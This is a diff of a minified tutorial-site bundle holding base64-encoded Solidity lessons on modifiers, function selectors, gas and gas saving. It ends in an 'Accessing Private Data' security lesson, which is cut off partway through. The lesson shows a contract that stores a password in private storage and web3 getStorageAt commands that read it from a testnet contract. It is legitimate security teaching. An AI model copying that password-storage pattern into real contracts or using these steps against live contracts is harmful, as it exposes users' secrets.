                              +`,Kw=({prev:s,next:a})=>r.jsx(A,{version:Xw,title:vw,description:Nw,html:Fw,prev:s,next:a,codes:Hw}),Mw="0.8.24",Sw="Function Modifier",xw="Example of how to write function modifier in Solidity",Jw=[{fileName:"FunctionModifier.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uTW9kaWZpZXIgewogICAgLy8gV2Ugd2lsbCB1c2UgdGhlc2UgdmFyaWFibGVzIHRvIGRlbW9uc3RyYXRlIGhvdyB0byB1c2UKICAgIC8vIG1vZGlmaWVycy4KICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwogICAgdWludDI1NiBwdWJsaWMgeCA9IDEwOwogICAgYm9vbCBwdWJsaWMgbG9ja2VkOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIC8vIFNldCB0aGUgdHJhbnNhY3Rpb24gc2VuZGVyIGFzIHRoZSBvd25lciBvZiB0aGUgY29udHJhY3QuCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIC8vIE1vZGlmaWVyIHRvIGNoZWNrIHRoYXQgdGhlIGNhbGxlciBpcyB0aGUgb3duZXIgb2YKICAgIC8vIHRoZSBjb250cmFjdC4KICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gb3duZXIsICJOb3Qgb3duZXIiKTsKICAgICAgICAvLyBVbmRlcnNjb3JlIGlzIGEgc3BlY2lhbCBjaGFyYWN0ZXIgb25seSB1c2VkIGluc2lkZQogICAgICAgIC8vIGEgZnVuY3Rpb24gbW9kaWZpZXIgYW5kIGl0IHRlbGxzIFNvbGlkaXR5IHRvCiAgICAgICAgLy8gZXhlY3V0ZSB0aGUgcmVzdCBvZiB0aGUgY29kZS4KICAgICAgICBfOwogICAgfQoKICAgIC8vIE1vZGlmaWVycyBjYW4gdGFrZSBpbnB1dHMuIFRoaXMgbW9kaWZpZXIgY2hlY2tzIHRoYXQgdGhlCiAgICAvLyBhZGRyZXNzIHBhc3NlZCBpbiBpcyBub3QgdGhlIHplcm8gYWRkcmVzcy4KICAgIG1vZGlmaWVyIHZhbGlkQWRkcmVzcyhhZGRyZXNzIF9hZGRyKSB7CiAgICAgICAgcmVxdWlyZShfYWRkciAhPSBhZGRyZXNzKDApLCAiTm90IHZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGNoYW5nZU93bmVyKGFkZHJlc3MgX25ld093bmVyKQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHZhbGlkQWRkcmVzcyhfbmV3T3duZXIpCiAgICB7CiAgICAgICAgb3duZXIgPSBfbmV3T3duZXI7CiAgICB9CgogICAgLy8gTW9kaWZpZXJzIGNhbiBiZSBjYWxsZWQgYmVmb3JlIGFuZCAvIG9yIGFmdGVyIGEgZnVuY3Rpb24uCiAgICAvLyBUaGlzIG1vZGlmaWVyIHByZXZlbnRzIGEgZnVuY3Rpb24gZnJvbSBiZWluZyBjYWxsZWQgd2hpbGUKICAgIC8vIGl0IGlzIHN0aWxsIGV4ZWN1dGluZy4KICAgIG1vZGlmaWVyIG5vUmVlbnRyYW5jeSgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZWVudHJhbmN5Iik7CgogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZWNyZW1lbnQodWludDI1NiBpKSBwdWJsaWMgbm9SZWVudHJhbmN5IHsKICAgICAgICB4IC09IGk7CgogICAgICAgIGlmIChpID4gMSkgewogICAgICAgICAgICBkZWNyZW1lbnQoaSAtIDEpOwogICAgICAgIH0KICAgIH0KfQo="}],zw=`

                              Modifiers are code that can be run before and / or after a function call.

                              Modifiers can be used to:

                              • Restrict access
                                • @@ -8663,7 +8663,7 @@ assertion probably means that there is a bug. } } } -`,Dw=({prev:s,next:a})=>r.jsx(u,{version:Mw,title:Sw,description:xw,html:zw,prev:s,next:a,codes:Jw}),Ew="0.8.24",Qw="Function Selector",Tw="Example of how function selectors are computed",Uw=[{fileName:"FunctionSelector.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uU2VsZWN0b3IgewogICAgLyoKICAgICJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIgogICAgMHhhOTA1OWNiYgogICAgInRyYW5zZmVyRnJvbShhZGRyZXNzLGFkZHJlc3MsdWludDI1NikiCiAgICAweDIzYjg3MmRkCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0U2VsZWN0b3Ioc3RyaW5nIGNhbGxkYXRhIF9mdW5jKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzNCkKICAgIHsKICAgICAgICByZXR1cm4gYnl0ZXM0KGtlY2NhazI1NihieXRlcyhfZnVuYykpKTsKICAgIH0KfQo="}],_w=`

                                When a function is called, the first 4 bytes of calldata specifies which function to call.

                                +`,Dw=({prev:s,next:a})=>r.jsx(A,{version:Mw,title:Sw,description:xw,html:zw,prev:s,next:a,codes:Jw}),Ew="0.8.24",Qw="Function Selector",Tw="Example of how function selectors are computed",Uw=[{fileName:"FunctionSelector.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uU2VsZWN0b3IgewogICAgLyoKICAgICJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIgogICAgMHhhOTA1OWNiYgogICAgInRyYW5zZmVyRnJvbShhZGRyZXNzLGFkZHJlc3MsdWludDI1NikiCiAgICAweDIzYjg3MmRkCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0U2VsZWN0b3Ioc3RyaW5nIGNhbGxkYXRhIF9mdW5jKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzNCkKICAgIHsKICAgICAgICByZXR1cm4gYnl0ZXM0KGtlY2NhazI1NihieXRlcyhfZnVuYykpKTsKICAgIH0KfQo="}],_w=`

                                When a function is called, the first 4 bytes of calldata specifies which function to call.

                                This 4 bytes is called a function selector.

                                Take for example, this code below. It uses call to execute transfer on a contract at the address addr.

                                addr.call(abi.encodeWithSignature("transfer(address,uint256)", 0xSomeAddress, 123))
@@ -8688,7 +8688,7 @@ assertion probably means that there is a bug.
         return bytes4(keccak256(bytes(_func)));
     }
 }
-
                                `,Lw=({prev:s,next:a})=>r.jsx(u,{version:Ew,title:Qw,description:Tw,html:_w,prev:s,next:a,codes:Uw}),Ow="0.8.24",Pw="Gas",$w="Example of gas and gas limit in Solidity",qw=[{fileName:"Gas.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEdhcyB7CiAgICB1aW50MjU2IHB1YmxpYyBpID0gMDsKCiAgICAvLyBVc2luZyB1cCBhbGwgb2YgdGhlIGdhcyB0aGF0IHlvdSBzZW5kIGNhdXNlcyB5b3VyIHRyYW5zYWN0aW9uIHRvIGZhaWwuCiAgICAvLyBTdGF0ZSBjaGFuZ2VzIGFyZSB1bmRvbmUuCiAgICAvLyBHYXMgc3BlbnQgYXJlIG5vdCByZWZ1bmRlZC4KICAgIGZ1bmN0aW9uIGZvcmV2ZXIoKSBwdWJsaWMgewogICAgICAgIC8vIEhlcmUgd2UgcnVuIGEgbG9vcCB1bnRpbCBhbGwgb2YgdGhlIGdhcyBhcmUgc3BlbnQKICAgICAgICAvLyBhbmQgdGhlIHRyYW5zYWN0aW9uIGZhaWxzCiAgICAgICAgd2hpbGUgKHRydWUpIHsKICAgICAgICAgICAgaSArPSAxOwogICAgICAgIH0KICAgIH0KfQo="}],sk=`

                                How much ether do you need to pay for a transaction?

                                +`,Lw=({prev:s,next:a})=>r.jsx(A,{version:Ew,title:Qw,description:Tw,html:_w,prev:s,next:a,codes:Uw}),Ow="0.8.24",Pw="Gas",$w="Example of gas and gas limit in Solidity",qw=[{fileName:"Gas.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEdhcyB7CiAgICB1aW50MjU2IHB1YmxpYyBpID0gMDsKCiAgICAvLyBVc2luZyB1cCBhbGwgb2YgdGhlIGdhcyB0aGF0IHlvdSBzZW5kIGNhdXNlcyB5b3VyIHRyYW5zYWN0aW9uIHRvIGZhaWwuCiAgICAvLyBTdGF0ZSBjaGFuZ2VzIGFyZSB1bmRvbmUuCiAgICAvLyBHYXMgc3BlbnQgYXJlIG5vdCByZWZ1bmRlZC4KICAgIGZ1bmN0aW9uIGZvcmV2ZXIoKSBwdWJsaWMgewogICAgICAgIC8vIEhlcmUgd2UgcnVuIGEgbG9vcCB1bnRpbCBhbGwgb2YgdGhlIGdhcyBhcmUgc3BlbnQKICAgICAgICAvLyBhbmQgdGhlIHRyYW5zYWN0aW9uIGZhaWxzCiAgICAgICAgd2hpbGUgKHRydWUpIHsKICAgICAgICAgICAgaSArPSAxOwogICAgICAgIH0KICAgIH0KfQo="}],sk=`

                                How much ether do you need to pay for a transaction?

                                You pay gas spent * gas price amount of ether, where

                                • gas is a unit of computation
                                  • @@ -8720,7 +8720,7 @@ assertion probably means that there is a bug. } } } -`,ak=({prev:s,next:a})=>r.jsx(u,{version:Ow,title:Pw,description:$w,html:sk,prev:s,next:a,codes:qw}),nk="0.8.24",lk="Gas Saving Techniques",pk="Some gas saving techniques",ek=[{fileName:"GasGolf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIGdhcyBnb2xmCmNvbnRyYWN0IEdhc0dvbGYgewogICAgLy8gc3RhcnQgLSA1MDkwOCBnYXMKICAgIC8vIHVzZSBjYWxsZGF0YSAtIDQ5MTYzIGdhcwogICAgLy8gbG9hZCBzdGF0ZSB2YXJpYWJsZXMgdG8gbWVtb3J5IC0gNDg5NTIgZ2FzCiAgICAvLyBzaG9ydCBjaXJjdWl0IC0gNDg2MzQgZ2FzCiAgICAvLyBsb29wIGluY3JlbWVudHMgLSA0ODI0NCBnYXMKICAgIC8vIGNhY2hlIGFycmF5IGxlbmd0aCAtIDQ4MjA5IGdhcwogICAgLy8gbG9hZCBhcnJheSBlbGVtZW50cyB0byBtZW1vcnkgLSA0ODA0NyBnYXMKICAgIC8vIHVuY2hlY2sgaSBvdmVyZmxvdy91bmRlcmZsb3cgLSA0NzMwOSBnYXMKCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbDsKCiAgICAvLyBzdGFydCAtIG5vdCBnYXMgb3B0aW1pemVkCiAgICAvLyBmdW5jdGlvbiBzdW1JZkV2ZW5BbmRMZXNzVGhhbjk5KHVpbnRbXSBtZW1vcnkgbnVtcykgZXh0ZXJuYWwgewogICAgLy8gICAgIGZvciAodWludCBpID0gMDsgaSA8IG51bXMubGVuZ3RoOyBpICs9IDEpIHsKICAgIC8vICAgICAgICAgYm9vbCBpc0V2ZW4gPSBudW1zW2ldICUgMiA9PSAwOwogICAgLy8gICAgICAgICBib29sIGlzTGVzc1RoYW45OSA9IG51bXNbaV0gPCA5OTsKICAgIC8vICAgICAgICAgaWYgKGlzRXZlbiAmJiBpc0xlc3NUaGFuOTkpIHsKICAgIC8vICAgICAgICAgICAgIHRvdGFsICs9IG51bXNbaV07CiAgICAvLyAgICAgICAgIH0KICAgIC8vICAgICB9CiAgICAvLyB9CgogICAgLy8gZ2FzIG9wdGltaXplZAogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDEwMF0KICAgIGZ1bmN0aW9uIHN1bUlmRXZlbkFuZExlc3NUaGFuOTkodWludDI1NltdIGNhbGxkYXRhIG51bXMpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IF90b3RhbCA9IHRvdGFsOwogICAgICAgIHVpbnQyNTYgbGVuID0gbnVtcy5sZW5ndGg7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IGxlbjspIHsKICAgICAgICAgICAgdWludDI1NiBudW0gPSBudW1zW2ldOwogICAgICAgICAgICBpZiAobnVtICUgMiA9PSAwICYmIG51bSA8IDk5KSB7CiAgICAgICAgICAgICAgICBfdG90YWwgKz0gbnVtOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgICAgICArK2k7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHRvdGFsID0gX3RvdGFsOwogICAgfQp9Cg=="}],ck=`

                                  Some gas saving techniques.

                                  +`,ak=({prev:s,next:a})=>r.jsx(A,{version:Ow,title:Pw,description:$w,html:sk,prev:s,next:a,codes:qw}),nk="0.8.24",lk="Gas Saving Techniques",pk="Some gas saving techniques",ek=[{fileName:"GasGolf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIGdhcyBnb2xmCmNvbnRyYWN0IEdhc0dvbGYgewogICAgLy8gc3RhcnQgLSA1MDkwOCBnYXMKICAgIC8vIHVzZSBjYWxsZGF0YSAtIDQ5MTYzIGdhcwogICAgLy8gbG9hZCBzdGF0ZSB2YXJpYWJsZXMgdG8gbWVtb3J5IC0gNDg5NTIgZ2FzCiAgICAvLyBzaG9ydCBjaXJjdWl0IC0gNDg2MzQgZ2FzCiAgICAvLyBsb29wIGluY3JlbWVudHMgLSA0ODI0NCBnYXMKICAgIC8vIGNhY2hlIGFycmF5IGxlbmd0aCAtIDQ4MjA5IGdhcwogICAgLy8gbG9hZCBhcnJheSBlbGVtZW50cyB0byBtZW1vcnkgLSA0ODA0NyBnYXMKICAgIC8vIHVuY2hlY2sgaSBvdmVyZmxvdy91bmRlcmZsb3cgLSA0NzMwOSBnYXMKCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbDsKCiAgICAvLyBzdGFydCAtIG5vdCBnYXMgb3B0aW1pemVkCiAgICAvLyBmdW5jdGlvbiBzdW1JZkV2ZW5BbmRMZXNzVGhhbjk5KHVpbnRbXSBtZW1vcnkgbnVtcykgZXh0ZXJuYWwgewogICAgLy8gICAgIGZvciAodWludCBpID0gMDsgaSA8IG51bXMubGVuZ3RoOyBpICs9IDEpIHsKICAgIC8vICAgICAgICAgYm9vbCBpc0V2ZW4gPSBudW1zW2ldICUgMiA9PSAwOwogICAgLy8gICAgICAgICBib29sIGlzTGVzc1RoYW45OSA9IG51bXNbaV0gPCA5OTsKICAgIC8vICAgICAgICAgaWYgKGlzRXZlbiAmJiBpc0xlc3NUaGFuOTkpIHsKICAgIC8vICAgICAgICAgICAgIHRvdGFsICs9IG51bXNbaV07CiAgICAvLyAgICAgICAgIH0KICAgIC8vICAgICB9CiAgICAvLyB9CgogICAgLy8gZ2FzIG9wdGltaXplZAogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDEwMF0KICAgIGZ1bmN0aW9uIHN1bUlmRXZlbkFuZExlc3NUaGFuOTkodWludDI1NltdIGNhbGxkYXRhIG51bXMpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IF90b3RhbCA9IHRvdGFsOwogICAgICAgIHVpbnQyNTYgbGVuID0gbnVtcy5sZW5ndGg7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IGxlbjspIHsKICAgICAgICAgICAgdWludDI1NiBudW0gPSBudW1zW2ldOwogICAgICAgICAgICBpZiAobnVtICUgMiA9PSAwICYmIG51bSA8IDk5KSB7CiAgICAgICAgICAgICAgICBfdG90YWwgKz0gbnVtOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgICAgICArK2k7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHRvdGFsID0gX3RvdGFsOwogICAgfQp9Cg=="}],ck=`

                                  Some gas saving techniques.

                                  • Replacing memory with calldata
                                  • Loading state variable to memory
                                    • @@ -8774,7 +8774,7 @@ assertion probably means that there is a bug. total = _total; } } -`,tk=({prev:s,next:a})=>r.jsx(u,{version:nk,title:lk,description:pk,html:ck,prev:s,next:a,codes:ek}),ok="0.8.24",rk="Accessing Private Data",ik="An example of accessing private data from a Solidity smart contract",gk=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCk5vdGU6IGNhbm5vdCB1c2Ugd2ViMyBvbiBKVk0sIHNvIHVzZSB0aGUgY29udHJhY3QgZGVwbG95ZWQgb24gR29lcmxpCk5vdGU6IGJyb3dzZXIgV2ViMyBpcyBvbGQgc28gdXNlIFdlYjMgZnJvbSB0cnVmZmxlIGNvbnNvbGUKCkNvbnRyYWN0IGRlcGxveWVkIG9uIEdvZXJsaQoweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEKKi8KCi8qCiMgU3RvcmFnZQotIDIgKiogMjU2IHNsb3RzCi0gMzIgYnl0ZXMgZm9yIGVhY2ggc2xvdAotIGRhdGEgaXMgc3RvcmVkIHNlcXVlbnRpYWxseSBpbiB0aGUgb3JkZXIgb2YgZGVjbGFyYXRpb24KLSBzdG9yYWdlIGlzIG9wdGltaXplZCB0byBzYXZlIHNwYWNlLiBJZiBuZWlnaGJvcmluZyB2YXJpYWJsZXMgZml0IGluIGEgc2luZ2xlCiAgMzIgYnl0ZXMsIHRoZW4gdGhleSBhcmUgcGFja2VkIGludG8gdGhlIHNhbWUgc2xvdCwgc3RhcnRpbmcgZnJvbSB0aGUgcmlnaHQKKi8KCmNvbnRyYWN0IFZhdWx0IHsKICAgIC8vIHNsb3QgMAogICAgdWludDI1NiBwdWJsaWMgY291bnQgPSAxMjM7CiAgICAvLyBzbG90IDEKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIGJvb2wgcHVibGljIGlzVHJ1ZSA9IHRydWU7CiAgICB1aW50MTYgcHVibGljIHUxNiA9IDMxOwogICAgLy8gc2xvdCAyCiAgICBieXRlczMyIHByaXZhdGUgcGFzc3dvcmQ7CgogICAgLy8gY29uc3RhbnRzIGRvIG5vdCB1c2Ugc3RvcmFnZQogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgc29tZUNvbnN0ID0gMTIzOwoKICAgIC8vIHNsb3QgMywgNCwgNSAob25lIGZvciBlYWNoIGFycmF5IGVsZW1lbnQpCiAgICBieXRlczMyWzNdIHB1YmxpYyBkYXRhOwoKICAgIHN0cnVjdCBVc2VyIHsKICAgICAgICB1aW50MjU2IGlkOwogICAgICAgIGJ5dGVzMzIgcGFzc3dvcmQ7CiAgICB9CgogICAgLy8gc2xvdCA2IC0gbGVuZ3RoIG9mIGFycmF5CiAgICAvLyBzdGFydGluZyBmcm9tIHNsb3QgaGFzaCg2KSAtIGFycmF5IGVsZW1lbnRzCiAgICAvLyBzbG90IHdoZXJlIGFycmF5IGVsZW1lbnQgaXMgc3RvcmVkID0ga2VjY2FrMjU2KHNsb3QpKSArIChpbmRleCAqIGVsZW1lbnRTaXplKQogICAgLy8gd2hlcmUgc2xvdCA9IDYgYW5kIGVsZW1lbnRTaXplID0gMiAoMSAodWludCkgKyAgMSAoYnl0ZXMzMikpCiAgICBVc2VyW10gcHJpdmF0ZSB1c2VyczsKCiAgICAvLyBzbG90IDcgLSBlbXB0eQogICAgLy8gZW50cmllcyBhcmUgc3RvcmVkIGF0IGhhc2goa2V5LCBzbG90KQogICAgLy8gd2hlcmUgc2xvdCA9IDcsIGtleSA9IG1hcCBrZXkKICAgIG1hcHBpbmcodWludDI1NiA9PiBVc2VyKSBwcml2YXRlIGlkVG9Vc2VyOwoKICAgIGNvbnN0cnVjdG9yKGJ5dGVzMzIgX3Bhc3N3b3JkKSB7CiAgICAgICAgcGFzc3dvcmQgPSBfcGFzc3dvcmQ7CiAgICB9CgogICAgZnVuY3Rpb24gYWRkVXNlcihieXRlczMyIF9wYXNzd29yZCkgcHVibGljIHsKICAgICAgICBVc2VyIG1lbW9yeSB1c2VyID0gVXNlcih7aWQ6IHVzZXJzLmxlbmd0aCwgcGFzc3dvcmQ6IF9wYXNzd29yZH0pOwoKICAgICAgICB1c2Vycy5wdXNoKHVzZXIpOwogICAgICAgIGlkVG9Vc2VyW3VzZXIuaWRdID0gdXNlcjsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBcnJheUxvY2F0aW9uKHVpbnQyNTYgc2xvdCwgdWludDI1NiBpbmRleCwgdWludDI1NiBlbGVtZW50U2l6ZSkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAgdWludDI1NihrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChzbG90KSkpICsgKGluZGV4ICogZWxlbWVudFNpemUpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldE1hcExvY2F0aW9uKHVpbnQyNTYgc2xvdCwgdWludDI1NiBrZXkpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHVpbnQyNTYoa2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoa2V5LCBzbG90KSkpOwogICAgfQp9CgovKgpzbG90IDAgLSBjb3VudAp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsIDAsIGNvbnNvbGUubG9nKQpzbG90IDEgLSB1MTYsIGlzVHJ1ZSwgb3duZXIKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAxLCBjb25zb2xlLmxvZykKc2xvdCAyIC0gcGFzc3dvcmQKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAyLCBjb25zb2xlLmxvZykKCnNsb3QgNiAtIGFycmF5IGxlbmd0aApnZXRBcnJheUxvY2F0aW9uKDYsIDAsIDIpCndlYjMudXRpbHMubnVtYmVyVG9IZXgoIjExMTQxNDA3NzgxNTg2MzQwMDUxMDAwNDA2NDYyOTk3MzU5NTk2MTU3OTE3MzY2NTU4OTIyNDIwMzUwMzY2MjE0OTM3MzcyNDk4NjY4NyIpCk5vdGU6IFdlIGNhbiBhbHNvIHVzZSB3ZWIzIHRvIGdldCBkYXRhIGxvY2F0aW9uCndlYjMudXRpbHMuc29saWRpdHlTaGEzKHsgdHlwZTogInVpbnQiLCB2YWx1ZTogNiB9KQoxc3QgdXNlcgp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGY2NTIyMjIzMTNlMjg0NTk1MjhkOTIwYjY1MTE1YzE2YzA0ZjNlZmM4MmFhZWRjOTdiZTU5ZjNmMzc3YzBkM2YiLCBjb25zb2xlLmxvZykKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAiMHhmNjUyMjIyMzEzZTI4NDU5NTI4ZDkyMGI2NTExNWMxNmMwNGYzZWZjODJhYWVkYzk3YmU1OWYzZjM3N2MwZDQwIiwgY29uc29sZS5sb2cpCk5vdGU6IHVzZSB3ZWIzLnRvQXNjaWkgdG8gY29udmVydCBieXRlczMyIHRvIGFscGhhYmV0CjJuZCB1c2VyCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgIjB4ZjY1MjIyMjMxM2UyODQ1OTUyOGQ5MjBiNjUxMTVjMTZjMDRmM2VmYzgyYWFlZGM5N2JlNTlmM2YzNzdjMGQ0MSIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGY2NTIyMjIzMTNlMjg0NTk1MjhkOTIwYjY1MTE1YzE2YzA0ZjNlZmM4MmFhZWRjOTdiZTU5ZjNmMzc3YzBkNDIiLCBjb25zb2xlLmxvZykKCnNsb3QgNyAtIGVtcHR5CmdldE1hcExvY2F0aW9uKDcsIDEpCndlYjMudXRpbHMubnVtYmVyVG9IZXgoIjgxMjIyMTkxOTg2MjI2ODA5MTAzMjc5MTE5OTk0NzA3ODY4MzIyODU1NzQxODE5OTA1OTA0NDE3OTUzMDkyNjY2Njk5MDk2OTYzMTEyIikKTm90ZTogV2UgY2FuIGFsc28gdXNlIHdlYjMgdG8gZ2V0IGRhdGEgbG9jYXRpb24Kd2ViMy51dGlscy5zb2xpZGl0eVNoYTMoeyB0eXBlOiAidWludCIsIHZhbHVlOiAxIH0sIHt0eXBlOiAidWludCIsIHZhbHVlOiA3fSkKdXNlciAxCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgIjB4YjM5MjIxYWNlMDUzNDY1ZWMzNDUzY2UyYjM2NDMwYmQxMzhiOTk3ZWNlYTI1YzEwNDNkYTBjMzY2ODEyYjgyOCIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGIzOTIyMWFjZTA1MzQ2NWVjMzQ1M2NlMmIzNjQzMGJkMTM4Yjk5N2VjZWEyNWMxMDQzZGEwYzM2NjgxMmI4MjkiLCBjb25zb2xlLmxvZykKKi8K"}],hk=`

                                    Vulnerability

                                    +`,tk=({prev:s,next:a})=>r.jsx(A,{version:nk,title:lk,description:pk,html:ck,prev:s,next:a,codes:ek}),ok="0.8.24",rk="Accessing Private Data",ik="An example of accessing private data from a Solidity smart contract",gk=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCk5vdGU6IGNhbm5vdCB1c2Ugd2ViMyBvbiBKVk0sIHNvIHVzZSB0aGUgY29udHJhY3QgZGVwbG95ZWQgb24gR29lcmxpCk5vdGU6IGJyb3dzZXIgV2ViMyBpcyBvbGQgc28gdXNlIFdlYjMgZnJvbSB0cnVmZmxlIGNvbnNvbGUKCkNvbnRyYWN0IGRlcGxveWVkIG9uIEdvZXJsaQoweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEKKi8KCi8qCiMgU3RvcmFnZQotIDIgKiogMjU2IHNsb3RzCi0gMzIgYnl0ZXMgZm9yIGVhY2ggc2xvdAotIGRhdGEgaXMgc3RvcmVkIHNlcXVlbnRpYWxseSBpbiB0aGUgb3JkZXIgb2YgZGVjbGFyYXRpb24KLSBzdG9yYWdlIGlzIG9wdGltaXplZCB0byBzYXZlIHNwYWNlLiBJZiBuZWlnaGJvcmluZyB2YXJpYWJsZXMgZml0IGluIGEgc2luZ2xlCiAgMzIgYnl0ZXMsIHRoZW4gdGhleSBhcmUgcGFja2VkIGludG8gdGhlIHNhbWUgc2xvdCwgc3RhcnRpbmcgZnJvbSB0aGUgcmlnaHQKKi8KCmNvbnRyYWN0IFZhdWx0IHsKICAgIC8vIHNsb3QgMAogICAgdWludDI1NiBwdWJsaWMgY291bnQgPSAxMjM7CiAgICAvLyBzbG90IDEKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIGJvb2wgcHVibGljIGlzVHJ1ZSA9IHRydWU7CiAgICB1aW50MTYgcHVibGljIHUxNiA9IDMxOwogICAgLy8gc2xvdCAyCiAgICBieXRlczMyIHByaXZhdGUgcGFzc3dvcmQ7CgogICAgLy8gY29uc3RhbnRzIGRvIG5vdCB1c2Ugc3RvcmFnZQogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgc29tZUNvbnN0ID0gMTIzOwoKICAgIC8vIHNsb3QgMywgNCwgNSAob25lIGZvciBlYWNoIGFycmF5IGVsZW1lbnQpCiAgICBieXRlczMyWzNdIHB1YmxpYyBkYXRhOwoKICAgIHN0cnVjdCBVc2VyIHsKICAgICAgICB1aW50MjU2IGlkOwogICAgICAgIGJ5dGVzMzIgcGFzc3dvcmQ7CiAgICB9CgogICAgLy8gc2xvdCA2IC0gbGVuZ3RoIG9mIGFycmF5C